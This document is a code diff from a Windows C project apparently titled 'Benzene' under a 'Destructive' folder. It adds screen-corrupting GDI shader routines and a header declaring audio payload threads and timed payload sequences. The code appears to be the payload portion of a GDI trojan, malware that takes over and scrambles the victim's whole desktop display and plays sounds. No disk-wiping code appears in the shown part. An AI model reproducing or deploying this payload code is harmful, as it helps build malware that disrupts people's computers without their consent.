+	BOOL bShiftDir = (BOOL)(Xorshift32() & 1);
+	BYTE bChannels = (BYTE)(Xorshift32() & 9);
+	RGBQUAD rgbSrc;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT b = (FLOAT)(x + y + t * 12) / 16.f;
+			FLOAT c = FastSine(a + b) * 68.f;
+
+			u = x + (INT)a, v = y + (INT)c;
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + x];
+
+			if (bShiftDir)
+			{
+				rgbDst.rgb <<= 1;
+			}
+			else
+			{
+				rgbDst.rgb >>= 1;
+			}
+
+			rgbSrc = prgbSrc[v * w + x];
+			rgbDst.rgb ^= rgbSrc.rgb;
+
+			if (bChannels & 0b001)
+			{
+				rgbDst.b |= rgbSrc.b;
+			}
+
+			if (bChannels & 0b010)
+			{
+				rgbDst.g |= rgbSrc.g;
+			}
+
+			if (bChannels & 0b100)
+			{
+				rgbDst.r |= rgbSrc.r;
+			}
+
+			prgbDst[y * w + u] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader7(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	BOOL bOperation = (BOOL)(Xorshift32() % 21);
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = (x + t * 284) ^ (y + t * y) ^ t;
+			v = (x + t * 128) + (y + t * y) ^ t;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			if (bOperation)
+			{
+				rgbDst.rgb |= rgbSrc.rgb;
+			}
+			else
+			{
+				rgbDst.rgb &= rgbSrc.rgb;
+			}
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader5(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 4))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, NOTSRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+PreGdiShader1(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	UNREFERENCED_PARAMETER(t);
+
+	BitBlt(hdcTemp, 0, 0, w, h, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
+
+	for (INT i = 0; i < 5; i++)
+	{
+		INT nBlockSize = Xorshift32() % 19 + 12 + 2;
+		INT nNewBlockSize = nBlockSize + (Xorshift32() % 17 + 9 + 16 + 2);
+		INT x = Xorshift32() % (w - nBlockSize);
+		INT y = Xorshift32() % (h - nBlockSize);
+
+		StretchBlt(hdcTemp, x - (nNewBlockSize - nBlockSize) / 2, y - (nNewBlockSize - nBlockSize) / 2,
+			nNewBlockSize, nNewBlockSize, hdcTemp, x, y, nBlockSize, nBlockSize, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader8(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 1.f;
+	FLOAT a = FastSine(div) * 2.f;
+	FLOAT b = FastCosine(div) * 2.f;
+	FLOAT f = 1.f / 4.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a + (INT)(TriangleWave(y, t, h) * 8.f);
+			v = y + (INT)b;
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			if (!rgbSrc.rgb)
+			{
+				rgbSrc.rgb = 1;
+			}
+
+			rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 18) + 1);
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (3.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (14.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (10.f - f);
+			rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 2));
+
+			hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + (DOUBLE)(x + y) / 100000.0 + 0.05, 1.0);
+			hsl.s = 1.f;
+
+			if (hsl.l < .3f)
+			{
+				hsl.l += .2f;
+			}
+
+			rgbDst = HSLToRGB(hsl);
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+PostGdiShader6(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+)
+{
+	if (!(t % 32))
+	{
+		RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
+	}
+	else
+	{
+		BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
+	}
+}
+
+VOID
+WINAPI
+GdiShader9(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT div = (FLOAT)t / 15.f;
+	FLOAT a = FastSine(div) * 4.f;
+	FLOAT b = FastCosine(div) * 2.f;
+	FLOAT f = 1.f / 3.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a + (INT)(SawtoothWave(y, t, h) * 18.f);
+			v = y + (INT)b;
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			if (!rgbSrc.rgb)
+			{
+				rgbSrc.rgb = 1;
+			}
+
+			rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 8) + 1);
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (4.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (6.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (7.f - f);
+			rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 6));
+
+			hsl = RGBToHSL(rgbDst);
+			hsl.h /= 1.0165f;
+			hsl.s /= 1.0135f;
+			hsl.l /= 1.0115f;
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader10(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT f = 1.f / 4.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + ((t + y) % 34) * -1;
+			v = y + (t + x) % 54;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (1.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (1.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
+			rgbDst.rgb = (((BYTE)_b << 30) | ((BYTE)_g << 22) | ((BYTE)_r << 0));
+
+			hsl = RGBToHSL(rgbDst);
+			hsl.s = .5f;
+			hsl.l *= 1.125f;
+
+			if (hsl.l > .5f)
+			{
+				hsl.l -= .5f;
+			}
+
+			if (hsl.l < .25f)
+			{
+				hsl.l += .25f;
+			}
+
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader11(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	FLOAT f = 1.f / 4.f;
+	RGBQUAD rgbDst;
+	RGBQUAD rgbSrc;
+	HSLCOLOR hsl;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + y / (h / 19);
+			v = y + u / (w / 1);
+			u = x + v / (h / 13);
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbSrc = prgbSrc[y * w + x];
+
+			FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (14.f - f);
+			FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (12.f - f);
+			FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
+			rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 16));
+
+			hsl = RGBToHSL(rgbDst);
+
+			if (hsl.s < .5f)
+			{
+				hsl.s = .5f;
+			}
+
+			if ((roundf(hsl.h * 10.f) / 10.f) != (roundf((FLOAT)((Xorshift32() + t) % 257) / 6.f * 14.f) / 10.f))
+			{
+				hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .1, 1.0);
+			}
+			else
+			{
+				hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .19, 1.0);
+			}
+
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader12(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = SquareWave(t + y, t, h) * 11000000.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r - 2) << 24));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader13(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = TriangleWave(t * 4 + y, 10, h) * 19.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b + 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r + 1) << 13));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader14(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine(2 * 1 + 3) * 1.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b + (t)) | ((rgbDst.g + (t)) << t) | ((rgbDst.r + (x & y)) << 1));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader15(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = coshf(atan2f((FLOAT)((y * t - 3) & t), (FLOAT)((13 * 32) & t))) * log10f((FLOAT)(t | 6 - 3)) * 2.f;
+			FLOAT b = expf((FLOAT)acos((DOUBLE)t / 1.0) + t);
+
+			u = x + (INT)a;
+			v = y + (INT)b;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b ^ rgbDst.g << t) | ((rgbDst.g ^ rgbDst.r) << 6) | ((rgbDst.r ^ rgbDst.b) << t));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader16(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = sinhf(atanf((FLOAT)(((t + x) * 12 - 3) & t))) * logf((FLOAT)(t | 13 - 68)) * 3 - 1.f;
+			FLOAT b = expf((FLOAT)asin((DOUBLE)t / tanh(1.0)) + (FLOAT)(x + y));
+
+			u = x + (INT)a;
+			v = y - (INT)b;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = ((rgbDst.b | rgbDst.g) | ((rgbDst.g | rgbDst.r) << 24) | ((rgbDst.r) << t));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader17(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = (FLOAT)ldexp((DOUBLE)atanf((FLOAT)(((t + x) * 16) & t)), t + y) * (FLOAT)scalbn((DOUBLE)(t | 25), x & y * 64) * 22.f;
+			FLOAT b = (FLOAT)expm1((DOUBLE)sqrtf(t * (FLOAT)hypot(10.0, (DOUBLE)(t % 20))) + (DOUBLE)(x | y));
+
+			u = x + (INT)b;
+			v = y + (INT)a;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			HSLCOLOR hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)rgbDst.r / 25.0 + (DOUBLE)t / 18.0, 1.0);
+			hsl.s = (FLOAT)rgbDst.g / 255.f;
+			hsl.l = (FLOAT)rgbDst.b / 55.f;
+			rgbDst = HSLToRGB(hsl);
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader18(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	FLOAT c = 1.f / 8.f;
+	BYTE d;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = TriangleWave(t * 8 + y / 7, 2, w) * SquareWave(t * 8 + y / 7, 7, h) * 4.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT b = TriangleWave(t * 8 + x / 2, 2, w) * SquareWave(t * 8 + y / 7, 2, h) * 4.f;
+
+			u = x + (INT)a;
+			v = y + (INT)b;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.r = (BYTE)((FLOAT)rgbDst.r * c + (a * b) * (1.f - c));
+			rgbDst.g += rgbDst.r / 36;
+
+			d = rgbDst.b;
+
+			if (!d)
+			{
+				d = 1;
+			}
+
+			rgbDst.b += rgbDst.r / d;
+
+			HSLCOLOR hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .01, 1.0);
+			hsl.s = (FLOAT)fmod((DOUBLE)(hsl.s + hsl.h) + .01, 1.0);
+			hsl.l = (FLOAT)fmod((DOUBLE)(hsl.l + hsl.h) + .01, 1.0);
+			rgbDst = HSLToRGB(hsl);
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader19(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + 0 + (INT)a;
+			v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb += (COLORREF)(__rdtsc() & 0b1000000010000000 & (__rdtsc() & 0b100000001000000010000000));
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader20(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	HSLCOLOR hsl;
+	hsl.h = (FLOAT)fmod((DOUBLE)t / 512.0, 1.0);
+	hsl.s = 1.f;
+	hsl.l = .5f;
+	COLORREF crRainbow = HSLToRGB(hsl).rgb;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)1 / 26.f + (FLOAT)y / 34.f) * 18.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + (INT)a;
+			v = y ^ (y % (abs((INT)(a * a)) + 1));
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb &= crRainbow;
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader21(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		HSLCOLOR hsl;
+		hsl.h = (FLOAT)fmod((DOUBLE)t / 15.0 + (DOUBLE)y / (DOUBLE)h * 1.f, 1.0);
+		hsl.s = 1.f;
+		hsl.l = .5f;
+		COLORREF crRainbow = HSLToRGB(hsl).rgb;
+
+		FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = (INT)(x * fabs(fmod((DOUBLE)a - (DOUBLE)(INT)(a * a), 1.0))) + x;
+			v = y + (INT)(a * a);
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = rgbDst.rgb & 0xAAAAA;
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader22(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	HSLCOLOR hsl;
+	FLOAT _t = (FLOAT)t / 1.f;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT _y = (FLOAT)y / 2.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = FastCosine(_y + _t) * 9.f;
+
+			u = x + (INT)a, v = y;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			FLOAT r = (FLOAT)prgbSrc[y * w + x].r;
+			FLOAT g = (FLOAT)prgbSrc[y * w + x].g;
+			FLOAT b = (FLOAT)prgbSrc[y * w + x].b;
+
+			//rgbDst.rgb = (COLORREF)0;
+			hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 45.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 64.f), 1.0);
+			prgbDst[y * w + x] = HSLToRGB(hsl);
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader23(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)t / 8.f + (FLOAT)y / 64.f) * 4.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + t + (INT)a;
+			v = y + t + (INT)a;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader24(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(t);
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+	UNREFERENCED_PARAMETER(prgbSrc);
+
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)t / 100.f + (FLOAT)y / 10.f) * 9.f;
+		for (INT x = 0; x < w; x++)
+		{
+			INT u = x + 0 + (INT)a;
+			INT v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+
+			rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 10) | ((rgbDst.r - 2) << 1));
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+FinalGdiShader(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(t);
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+	UNREFERENCED_PARAMETER(prgbSrc);
+
+	RGBQUAD rgbDst;
+
+	for (INT i = 0; i < w * h; i += w)
+	{
+		rgbDst.rgb = (Xorshift32() % 256) * 0x010101;
+
+		for (INT j = 0; j < w; j++)
+		{
+			prgbDst[i + j] = rgbDst;
+		}
+	}
+}

src/Benzene-main/Destructive/Benzene/payloads.h

@@ -0,0 +1,106 @@
+#pragma once
+#include "benzene.h"
+
+#define TIMER_DELAY 100
+#define PAYLOAD_MS 10000
+#define PAYLOAD_TIME ( PAYLOAD_MS / TIMER_DELAY )
+
+#define SineWave(t, freq, sampleCount) FastSine(2.f * 3.1415f * ((FLOAT)(freq) * (FLOAT)(t) / (FLOAT)(sampleCount)))
+#define SquareWave(t, freq, sampleCount) (((BYTE)(2.f * (FLOAT)(freq) * ((t) / (FLOAT)(sampleCount))) % 2) == 0 ? 1.f : -1.f)
+#define TriangleWave(t, freq, sampleCount) (4.f * ( FLOAT )fabs(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq))) - floor(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq)))) - .5f) - 1.f)
+#define SawtoothWave(t, freq, sampleCount) (fmod(((FLOAT)(t) / (FLOAT)(sampleCount)), (1.f / (FLOAT)(freq))) * (FLOAT)(freq) * 2.f - 1.f)
+
+VOID
+WINAPI
+AudioPayloadThread( VOID );
+
+VOID
+WINAPI
+AudioSequenceThread(
+	_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
+);
+
+VOID
+WINAPI
+ExecuteAudioSequence(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_In_ AUDIO_SEQUENCE pAudioSequence,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPreSynthOp,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPostSynthOp
+);
+
+#define SYNTH_LENGTH 18
+AUDIO_SEQUENCE AudioSequence1;
+AUDIO_SEQUENCE AudioSequence2;
+AUDIO_SEQUENCE AudioSequence3;
+AUDIO_SEQUENCE AudioSequence4;
+AUDIO_SEQUENCE AudioSequence5;
+AUDIO_SEQUENCE AudioSequence6;
+AUDIO_SEQUENCE AudioSequence7;
+AUDIO_SEQUENCE AudioSequence8;
+AUDIO_SEQUENCE AudioSequence9;
+AUDIO_SEQUENCE AudioSequence10;
+AUDIO_SEQUENCE AudioSequence11;
+AUDIO_SEQUENCE AudioSequence12;
+AUDIO_SEQUENCE AudioSequence13;
+AUDIO_SEQUENCE AudioSequence14;
+AUDIO_SEQUENCE AudioSequence15;
+AUDIO_SEQUENCE AudioSequence16;
+AUDIO_SEQUENCE AudioSequence17;
+AUDIO_SEQUENCE AudioSequence18;
+AUDIO_SEQUENCE FinalAudioSequence;
